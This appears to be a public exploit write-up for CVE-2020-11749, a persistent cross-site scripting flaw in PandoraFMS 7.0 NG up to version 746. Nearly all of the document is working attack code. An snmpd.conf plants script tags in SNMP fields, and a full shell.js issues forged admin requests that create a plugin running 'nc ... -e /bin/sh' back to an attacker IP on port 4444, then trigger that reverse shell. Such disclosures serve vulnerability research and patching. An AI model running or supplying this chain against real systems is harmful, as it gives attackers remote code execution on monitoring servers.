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# Exploit Title: PandoraFMS 7.0 NG 746 - Persistent Cross-Site Scripting
# Date: 2020-07-01
# Author: AppleBois
# Version: 7xx ≤ 746
# Homepage: https://pandorafms.org/
# Software Link: https://sourceforge.net/projects/pandora/files/Pandora FMS 7.0NG/
# CVE-2020-11749
#
# By asking network administrator to scan SNMP device to trigger Cross Site Scripting(XSS)
# We can call a remote JavaScript file to execute arbitrary code to reach Remote Code Execution
# on PandoraFMS.
#
######################################################################################
//----------------/etc/snmp/snmpd.conf-------------------//
syscontact <script>alert('AppleBois');</script>
syslocation <script type="text/javascript" src='http://192.168.11.130/shell.js'></script>
sysname <script type="text/javascript" src="http://192.168.11.130/shell.js"></script>
sysDesc <script>alert('AppleBois');</script>
com2sec local localhost public
view systemview included .1.3.6.1.2.1.1
view systemview included .1.3.6.1.2.1.25.1
view systemview included .1 80
rocommunity public
//--------------end of /etc/snmp/snmpd.conf--------------//
//----------------shell.js-------------------------------//
//Create Random String
function randomString(len, charSet) {
charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
var randomString = '';
for (var i = 0; i < len; i++) {
var randomPoz = Math.floor(Math.random() * charSet.length);
randomString += charSet.substring(randomPoz,randomPoz+1);
}
return randomString;
}
var randomValue = randomString(5);
//Declare Variable
var xhr= new XMLHttpRequest();
var Attacker_IP= "192.168.11.130";
var Pandora_IP ="192.168.11.132";
var port ="4444";
//var payload="form_name="+randomValue+"&form_plugin_type=0&form_max_timeout5f09468e5082e_select=15&form_max_timeout5f09468e5082e_text=15&form_max_timeout=15&form_max_timeout5f09468e5082e_units=1&form_description=Created+By+AppleBois&form_execute=nc+-nv+"+Attacker_IP+"+"+port+"+-e+%2Fbin%2Fsh&form_parameters=&field1_macro=_field1_&field1_desc=&field1_value=&field1_help=&crtbutton=Create"
var payload ="form_name="+randomValue+"&form_plugin_type=0&form_max_timeout5f096ea47b224_select=15&form_max_timeout5f096ea47b224_text=15&form_max_timeout=15&form_max_timeout5f096ea47b224_units=1&form_description=Created+By+AppleBois&form_execute=nc+-nv+"+Attacker_IP+"+"+port+"+-e+%2Fbin%2Fsh&form_parameters=&field1_macro=_field1_&field1_desc=&field1_value=&uptbutton=Update"
var url= "http://"+Pandora_IP+"/pandora_console/index.php?sec=gservers&sec2=godmode/servers/plugin&tab=plugins&create_plugin=1&pure=";
//Create a plugin with malicous command
xhr.open("POST",url,true);
xhr.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0");
xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*//'*;q=0.8");
xhr.setRequestHeader("Accept-Language","en-US,en;q=0.5");
xhr.setRequestHeader("Accept-Encoding","gzip, deflate");
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer","http://"+Pandora_IP+"/pandora_console/index.php?sec=gservers&sec2=godmode/servers/plugin&tab=&view=1&tab=plugins&pure=");
xhr.setRequestHeader("Content-Length",payload.length);
xhr.setRequestHeader("Connection","close");
xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
xhr.send(payload);
//I am sleepy, i just want to sleep 5 seconds. Please
function sleep(miliseconds) {
var currentTime = new Date().getTime();
while (currentTime + miliseconds >= new Date().getTime()) {
}
}
sleep(5000);
//Grab newly added Plugin ID
var url="/pandora_console/index.php?sec=gagente&sec2=godmode/agentes/configurar_agente&tab=module&id_agente=2";
xhr.open("POST",url,false);
xhr.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0");
xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*//'*;q=0.8");
xhr.setRequestHeader("Accept-Language","en-US,en;q=0.5");
xhr.setRequestHeader("Accept-Encoding","gzip, deflate");
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer","http://"+Pandora_IP+"/pandora_console/index.php?sec=gservers&sec2=godmode/servers/plugin&tab=&view=1&tab=plugins&pure=");
xhr.setRequestHeader("Content-Length",payload.length);
xhr.setRequestHeader("Connection","close");
xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
xhr.setRequestHeader("Cache-Control","max-age=0");
var payload ="status_hierachy_mode_sent=1&moduletype=pluginserver&edit_module=1&updbutton=Create";
xhr.send(payload)
var el = document.createElement('html');
var add=xhr.responseText.toString();
el.innerHTML = add;
var dd = el.querySelector('#id_plugin');
var plugin_ID =0;
for (i = 0; i < dd.options.length; i++) {
if(dd.options[i].text == randomValue)
{
console.log(dd.options[i].value);
plugin_ID=dd.options[i].value;
break;
}
}
//Create a new plugin in server module || reverse shell will trigger here
var url = "http://"+Pandora_IP+"/pandora_console/index.php?sec=gagente&sec2=godmode/agentes/configurar_agente&tab=module&id_agente=2";
var payload ="network_component_group=0&id_module_component_type=4&network_component=0&name=AppleBois_"+randomValue+"&disabled_sent=1&id_module_group=1&id_module_type_hidden=1&id_module_type=1&type_names=eyIxIjoiZ2VuZXJpY19kYXRhIiwiMiI6ImdlbmVyaWNfcHJvYyIsIjMiOiJnZW5lcmljX2RhdGFfc3RyaW5nIiwiNCI6ImdlbmVyaWNfZGF0YV9pbmMiLCI1IjoiZ2VuZXJpY19kYXRhX2luY19hYnMifQ%3D%3D&min_warning=0&max_warning=0&str_warning=&warning_inverse_sent=1&min_critical=0&max_critical=0&str_critical=&critical_inverse_sent=1&history_data=1&history_data_sent=1&id_plugin="+plugin_ID+"¯os=eyIxIjp7Im1hY3JvIjoiX2ZpZWxkMV8iLCJkZXNjIjoiIiwiaGVscCI6IiIsInZhbHVlIjoiIiwiaGlkZSI6IiJ9fQ%3D%3D¯o_name%5B%5D=macro_value&custom_id=&unit_select=none&unit_text=&unit=&module_interval_select=300&module_interval_text=5&module_interval=300&module_interval_units=60&moduletype=4&post_process_select=&post_process_text=&post_process=&min=&max=&dynamic_interval_select=0&dynamic_interval_text=&dynamic_interval=None&dynamic_interval_units=1&dynamic_min=0&dynamic_max=0&dynamic_two_tailed_sent=1&id_export=0&throw_unknown_events_sent=1&ff_type_sent=1&each_ff=0&ff_event=0&ff_event_normal=&ff_event_warning=&ff_event_critical=&module_ff_interval=0&ff_timeout=0&id_tag_selected%5B%5D=&id_tag_policy%5B%5D=&quiet_module_sent=1&cps_module=0&description=&critical_instructions=&warning_instructions=&unknown_instructions=&hour_from=*&minute_from=*&mday_from=*&month_from=*&wday_from=*&hour_to=*&minute_to=*&mday_to=*&month_to=*&wday_to=*&max_timeout=0&max_retries=0&id_category=0&parent_module_id=0&autocomplete_agent_name=&agent_autocomplete_idagent_5f0967a872ce2=0&relation_type=direct&crtbutton=Create&id_module=4&create_module=1";
xhr.open("POST",url,true);
xhr.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0");
xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language","en-US,en;q=0.5");
xhr.setRequestHeader("Accept-Encoding","gzip, deflate");
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer","http://"+Pandora_IP+"/pandora_console/index.php?sec=gagente&sec2=godmode/agentes/configurar_agente&tab=module&id_agente=2");
xhr.setRequestHeader("Content-Length",payload.length);
xhr.setRequestHeader("Connection","close");
xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
xhr.send(payload);
//----------------end of shell.js-------------------------------//
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